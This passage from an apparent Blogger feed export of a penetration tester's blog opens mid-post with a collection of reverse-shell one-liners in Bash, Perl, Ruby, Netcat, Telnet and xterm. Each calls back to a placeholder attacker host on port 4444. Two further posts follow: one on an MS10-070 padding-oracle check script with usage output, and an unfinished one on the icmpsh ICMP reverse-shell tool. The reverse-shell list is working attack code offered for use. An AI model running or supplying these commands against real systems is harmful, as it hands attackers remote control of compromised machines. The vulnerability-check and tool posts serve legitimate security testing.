First of all, on your machine, set up a &lt;i&gt;listener&lt;/i&gt;, where &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;attackerip&lt;/span&gt; is your IP address and &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;4444&lt;/span&gt; is an arbitrary TCP port unfiltered by the target&#39;s firewall:&lt;br /&gt;
&lt;blockquote&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;attacker$ nc -l -v attackerip 4444&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Bash&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Alternatives for &lt;b&gt;Bash&lt;/b&gt; shell:&lt;br /&gt;
&lt;blockquote&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;
exec /bin/bash 0&amp;amp;0 2&amp;gt;&amp;amp;0&lt;/span&gt;&lt;/blockquote&gt;
Or:&lt;br /&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
0&amp;lt;&amp;amp;196;exec 196&amp;lt;&amp;gt;/dev/tcp/attackerip/4444; sh &amp;lt;&amp;amp;196 &amp;gt;&amp;amp;196 2&amp;gt;&amp;amp;196&lt;/blockquote&gt;
&lt;div style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;/div&gt;
&lt;div id=&quot;:284&quot;&gt;
Or:&lt;br /&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
exec 5&amp;lt;&amp;gt;/dev/tcp/attackerip/4444&lt;br /&gt;
cat &amp;lt;&amp;amp;5 | while read line; do $line 2&amp;gt;&amp;amp;5 &amp;gt;&amp;amp;5; done&amp;nbsp; # or:&lt;br /&gt;
while read line 0&amp;lt;&amp;amp;5; do $line 2&amp;gt;&amp;amp;5 &amp;gt;&amp;amp;5; done&lt;/blockquote&gt;
See also &lt;a href=&quot;http://www.gnucitizen.org/blog/reverse-shell-with-bash/&quot;&gt;Reverse Shell With Bash&lt;/a&gt; from &lt;a href=&quot;http://www.gnucitizen.org/blog/&quot;&gt;GNUCITIZEN blog&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Perl&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Shorter &lt;b&gt;Perl&lt;/b&gt; reverse shell that does not depend on &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;/bin/sh&lt;/span&gt;:&lt;br /&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
perl -MIO -e &#39;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&quot;attackerip:4444&quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;&#39;&lt;/blockquote&gt;
If the target system is running Windows use the following one-liner:&lt;br /&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
perl -MIO -e &#39;$c=new IO::Socket::INET(PeerAddr,&quot;attackerip:4444&quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;&#39;&lt;/blockquote&gt;
&lt;div id=&quot;:26v&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Ruby&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Longer &lt;b&gt;Ruby&lt;/b&gt; reverse shell that does not depend on &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;/bin/sh&lt;/span&gt;:&lt;/div&gt;
&lt;blockquote&gt;
&lt;div id=&quot;:26v&quot; style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
ruby -rsocket -e &#39;exit if fork;c=TCPSocket.new(&quot;attackerip&quot;,&quot;4444&quot;);while(cmd=c.gets);IO.popen(cmd,&quot;r&quot;){|io|c.print io.read}end&#39;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div id=&quot;:26v&quot;&gt;
If the target system is running Windows use the following one-liner:&lt;br /&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
ruby -rsocket -e &#39;c=TCPSocket.new(&quot;attackerip&quot;,&quot;4444&quot;);while(cmd=c.gets);IO.popen(cmd,&quot;r&quot;){|io|c.print io.read}end&#39;&lt;/blockquote&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Netcat&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Others possible &lt;b&gt;Netcat&lt;/b&gt; reverse shells, depending on the Netcat version and compilation flags:&lt;/div&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;div id=&quot;:26v&quot;&gt;
nc -c /bin/sh attackerip 4444&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div id=&quot;:26v&quot;&gt;
Or:&lt;/div&gt;
&lt;blockquote&gt;
&lt;div id=&quot;:26v&quot; style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
/bin/sh | nc attackerip 4444&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div id=&quot;:26v&quot;&gt;
Or:&lt;/div&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;div id=&quot;:26v&quot;&gt;
rm -f /tmp/p; mknod /tmp/p p &amp;amp;&amp;amp; nc attackerip 4444 0/tmp/p&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div id=&quot;:26v&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div id=&quot;:26v&quot;&gt;
See also &lt;a href=&quot;http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/&quot;&gt;7 Linux Shells Using Built-in Tools&lt;/a&gt; from &lt;a href=&quot;http://lanmaster53.com/&quot;&gt;LaNMaSteR53 blog&lt;/a&gt;.&lt;/div&gt;
&lt;div id=&quot;:26v&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Telnet&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div id=&quot;:26v&quot;&gt;
&lt;div id=&quot;:26v&quot;&gt;
Of course, you can also use &lt;b&gt;Telnet&lt;/b&gt; as an alternative for Netcat:&lt;/div&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
rm -f /tmp/p; mknod /tmp/p p &amp;amp;&amp;amp; telnet attackerip 4444 0/tmp/p&lt;/blockquote&gt;
Or:&lt;br /&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445&amp;nbsp;&amp;nbsp; # Remember to listen on your machine also on port 4445/tcp&lt;/blockquote&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;xterm&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Follows further details on &lt;b&gt;xterm&lt;/b&gt; reverse shell:&lt;/div&gt;
&lt;div id=&quot;:26v&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div id=&quot;:26v&quot;&gt;
To catch incoming xterm, start an open X Server on your system (&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;:1&lt;/span&gt; - which listens on TCP port &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;6001&lt;/span&gt;). One way to do this is with &lt;a href=&quot;http://www.xfree86.org/4.4.0/Xnest.1.html&quot;&gt;Xnest&lt;/a&gt;:&lt;/div&gt;
&lt;div id=&quot;:26v&quot;&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
Xnest :1&lt;/blockquote&gt;
Then remember to authorise on your system the target IP to connect to you:&lt;br /&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
xterm -display 127.0.0.1:1&amp;nbsp; # Run this OUTSIDE the Xnest&lt;br /&gt;
xhost +targetip&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Run this INSIDE the spawned xterm on the open X Server&lt;/blockquote&gt;
Then on the target, assuming that &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;xterm&lt;/span&gt; is installed, connect back to the open X Server on your system:&lt;br /&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
xterm -display attackerip:1&lt;/blockquote&gt;
Or:&lt;br /&gt;
&lt;blockquote&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ DISPLAY=attackerip:0 xterm&lt;/span&gt;&lt;/blockquote&gt;
It will try to connect back to you, &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;attackerip&lt;/span&gt;, on TCP port &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;6001&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
Note that on Solaris xterm path is usually not within the &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;PATH&lt;/span&gt; environment variable, you need to specify its filepath:&lt;/div&gt;
&lt;blockquote style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;div id=&quot;:26v&quot;&gt;
/usr/openwin/bin/xterm -display attackerip:1&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div id=&quot;:26v&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/6624864116485251004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/6624864116485251004' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/6624864116485251004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/6624864116485251004'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html' title='Reverse shells one-liners'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-1667660909866991464</id><published>2011-04-16T14:12:00.008+01:00</published><updated>2011-12-20T17:45:22.938+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="asp.net"/><category scheme="http://www.blogger.com/atom/ns#" term="bulletin"/><category scheme="http://www.blogger.com/atom/ns#" term="crypto"/><category scheme="http://www.blogger.com/atom/ns#" term="microsoft"/><category scheme="http://www.blogger.com/atom/ns#" term="ms10-070"/><category scheme="http://www.blogger.com/atom/ns#" term="padding"/><category scheme="http://www.blogger.com/atom/ns#" term="padding oracle"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="securitycheck"/><title type='text'>MS10-070: Padding Oracle applied to .NET framework</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;a href=&quot;http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/&quot;&gt;A&lt;/a&gt; &lt;a href=&quot;http://www.gdssecurity.com/l/b/2010/09/28/new-version-of-padbuster-available-for-download/&quot;&gt;lot&lt;/a&gt; &lt;a href=&quot;http://www.gdssecurity.com/l/b/2010/10/04/padbuster-v0-3-and-the-net-padding-oracle-attack/&quot;&gt;has&lt;/a&gt; &lt;a href=&quot;http://blog.mindedsecurity.com/2010/09/investigating-net-padding-oracle.html&quot;&gt;already&lt;/a&gt; &lt;a href=&quot;http://blog.mindedsecurity.com/2010/10/breaking-net-encryption-with-or-without.html&quot;&gt;been&lt;/a&gt; &lt;a href=&quot;http://eglasius.blogspot.com/2010/09/aspnet-padding-oracle-how-it-relates-to.html&quot;&gt;said&lt;/a&gt; &lt;a href=&quot;http://www.troyhunt.com/2010/09/fear-uncertainty-and-and-padding-oracle.html&quot;&gt;about&lt;/a&gt; &lt;a href=&quot;https://twitter.com/thaidn&quot;&gt;T. Duong&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/julianor&quot;&gt;J. Rizzo&lt;/a&gt; &lt;a href=&quot;http://netifera.com/research/poet/PaddingOracleBHEU10.pdf&quot;&gt;research on Padding Oracle attacks&lt;/a&gt;, particularly &lt;a href=&quot;http://netifera.com/research/poet//PaddingOraclesEverywhereEkoparty2010.pdf&quot;&gt;against ASP.NET&lt;/a&gt;. I won&#39;t repeat any of it. I am just releasing way late my minor contribution.&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;Microsoft &lt;a href=&quot;http://blogs.technet.com/b/srd/archive/2010/09/17/understanding-the-asp-net-vulnerability.aspx&quot;&gt;replied&lt;/a&gt; &lt;a href=&quot;http://blogs.technet.com/b/srd/archive/2010/09/20/additional-information-about-the-asp-net-vulnerability.aspx&quot;&gt;to&lt;/a&gt; the research and subsequently released an &lt;a href=&quot;http://weblogs.asp.net/scottgu/archive/2010/09/28/asp-net-security-update-now-available.aspx&quot;&gt;initial mitigation&lt;/a&gt; that can be easily bypassed by tools like &lt;a href=&quot;https://www.gdssecurity.com/l/t/d.php?k=PadBuster&quot;&gt;PadBuster&lt;/a&gt; - when used correctly. However, with the release of the patch, &lt;a href=&quot;http://www.microsoft.com/technet/security/bulletin/ms10-070.mspx&quot;&gt;MS10-070&lt;/a&gt;, the issue has been correctly fixed.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;As far as I can tell, many systems running .NET applications that I have been assessing since then have not been patched, yet.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;I followed the research closely and way before vulnerability scanners like &lt;a href=&quot;http://www.nessus.org/&quot;&gt;Nessus&lt;/a&gt; could detect the security vulnerability on .NET applications anonymously and remotely, I coded a small script to test for the flaw based on Juliano Rizzo&#39;s &lt;a href=&quot;http://twitter.com/julianor/status/26419702099&quot;&gt;details&lt;/a&gt;. You might still find it useful, so I thought about &lt;a href=&quot;https://github.com/inquisb/miscellaneous/blob/master/ms10-070_check.py&quot;&gt;publishing it&lt;/a&gt; on GitHub.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;b&gt;Script usage&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;font-family: &#39;trebuchet ms&#39;;&quot;&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ python ms10-070_check.py &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Use:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;  ./ms10-070_check.py &lt;encrypted_d_block&gt;&lt;/encrypted_d_block&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Note:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;  Encrypted &#39;d&#39; block MUST be from ScriptResource.axd or WebResource.axd.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;  Parse the application response body to find a valid one.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Examples:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;  With ScriptResource.axd &#39;d&#39; block:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;  $ ./ms10-070_check.py 2nYOzoKtRvjs-g53K3r7VKmEXeQl_XMNY8nDEwcgwGVcS5Z8b9GanbNdzIgg493kfB_oInMb2DtFFEy5e-ajqdwMbg1F96l10&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;  Your application is VULNERABLE, patch against MS10-070&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;  With WebResource.axd &#39;d&#39; block:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;  ./ms10-070_check.py VHYaLecZ91Zjq-_4mV3ftpYrTteh9kHzk9zwLyjpAZAOjWL3nbx1SmIeGdHJwBu_koMj8ZGAqrtxCJkW0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;  Your application is NOT vulnerable&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;Feedback is always welcome!&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/1667660909866991464/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/1667660909866991464' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1667660909866991464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1667660909866991464'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/04/ms10-070-padding-oracle-applied-to-net.html' title='MS10-070: Padding Oracle applied to .NET framework'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-990983721162488749</id><published>2011-04-15T11:42:00.016+01:00</published><updated>2011-04-15T15:18:36.136+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="data exfiltration"/><category scheme="http://www.blogger.com/atom/ns#" term="icmp"/><category scheme="http://www.blogger.com/atom/ns#" term="shell"/><category scheme="http://www.blogger.com/atom/ns#" term="tunnel"/><title type='text'>Reverse connection: ICMP shell</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Background&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Sometimes, network administrators make the penetration tester&#39;s life harder. Some of them do use firewalls for what they are meant to, surprisingly!&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Allowing traffic only onto known machines, ports and services (ingress filtering) and setting strong egress access control lists is one of these cases. In such scenarios when you have owned a machine part of the internal network or the DMZ (e.g. in a Citrix breakout engagement or similar), it is not always trivial to get a reverse shell over TCP, not to consider a bind shell.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;However, what about UDP (commonly a DNS tunnel) or ICMP as the channel to get a reverse shell? ICMP is the focus on this post.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Surfing the Net I found two handy tools to get a reverse shell over ICMP:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;a href=&quot;http://code.google.com/p/soicmp/&quot;&gt;soicmp&lt;/a&gt; - Developed in &lt;b&gt;Python&lt;/b&gt;. Some useful features like the possibility to run soicmp daemon on multiple ethernet interfaces simultaneously handling multiple client connections. Unfortunately it uses &lt;b&gt;RAW_SOCKETS&lt;/b&gt; on both client and server. You&#39;ll &lt;b&gt;need the highest system privileges&lt;/b&gt; (root / administrator) to successfully run it on both endpoints. This means that you need root privileges onto the target system that you have owned, which might not always be the case. It is &lt;b&gt;cross-platform&lt;/b&gt;. Also, it looks to me that it is unmaintained as of &lt;a href=&quot;http://billiejoex.altervista.org/Prj_Py_soicmp.shtml&quot;&gt;2006-10-26&lt;/a&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;a href=&quot;http://icmpshell.sourceforge.net/&quot;&gt;icmpshell&lt;/a&gt; - Developed in &lt;b&gt;C&lt;/b&gt;. As per soicmp, it uses raw sockets on both the client and server side, therefore &lt;b&gt;root privileges are required&lt;/b&gt; to use this program. It &lt;b&gt;works on POSIX systems only&lt;/b&gt;, no support for Windows. Also, it looks to me that it is unmaintained as of &lt;a href=&quot;http://sourceforge.net/projects/icmpshell/files/ish/v0.2/&quot;&gt;2002-02-06&lt;/a&gt;.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;icmpsh&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Last year a &lt;a href=&quot;http://www.leidecker.info/&quot;&gt;friend of mine&lt;/a&gt; coded a tool called &lt;a href=&quot;http://www.leidecker.info/downloads/index.shtml#shells&quot;&gt;icmpsh&lt;/a&gt;. It implements the reverse ICMP shell concept very well. The main advantage over the other open source tools is that &lt;b&gt;it does not require administrative privileges to run onto the target machine&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;I spent some time playing with the tool and was immediately impressed. It is clean, easy and portable. The &lt;b&gt;slave (client) runs on the target machine&lt;/b&gt;, it is written in C and works on Windows only whereas the &lt;b&gt;master (server) can run on any platform&lt;/b&gt; as it has been implemented in C and Perl by Nico. I &lt;a href=&quot;https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py&quot;&gt;ported&lt;/a&gt; it to Python too.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The reason for the Python &lt;/span&gt;port is that I wrapped it into sqlmap too. As of &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/04/sqlmap-09-released.html&quot;&gt;version 0.9 stable&lt;/a&gt; you can either establish the out-of-band connection via &lt;b&gt;TCP with Metasploit or via ICMP with &lt;a href=&quot;https://github.com/inquisb/icmpsh&quot;&gt;icmpsh&lt;/a&gt;&lt;/b&gt; - switch &lt;a href=&quot;http://sqlmap.sourceforge.net/doc/README.html#ss5.13&quot;&gt;--os-pwn&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Features&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;b&gt;Open source&lt;/b&gt; software - primarily coded by &lt;a href=&quot;http://leidecker.info/&quot;&gt;Nico&lt;/a&gt;, forked by &lt;a href=&quot;https://github.com/inquisb/icmpsh&quot;&gt;me&lt;/a&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Client/server architecture.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The master is &lt;b&gt;portable across any platform&lt;/b&gt; that can run either C, Perl or Python code.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The target system has to be Windows because the slave runs on that platform only for now.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The &lt;b&gt;user running the slave on the target system does not require administrative privileges&lt;/b&gt;.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Example&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmINPQ5Ky6FxqmaKjMVTYp7KGUdhScxNKjyU62Ykhlx5BhwBAngZclqoPk4LeKozi3GtfOeZbTyRPEq5St7H3EAZBqXaB68B3tbm8EV3EXRCScfPXWX2YsQsRVPByiyyXJWCErgFlbLxM/s1600/running_icmpsh_slave_on_target.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;img 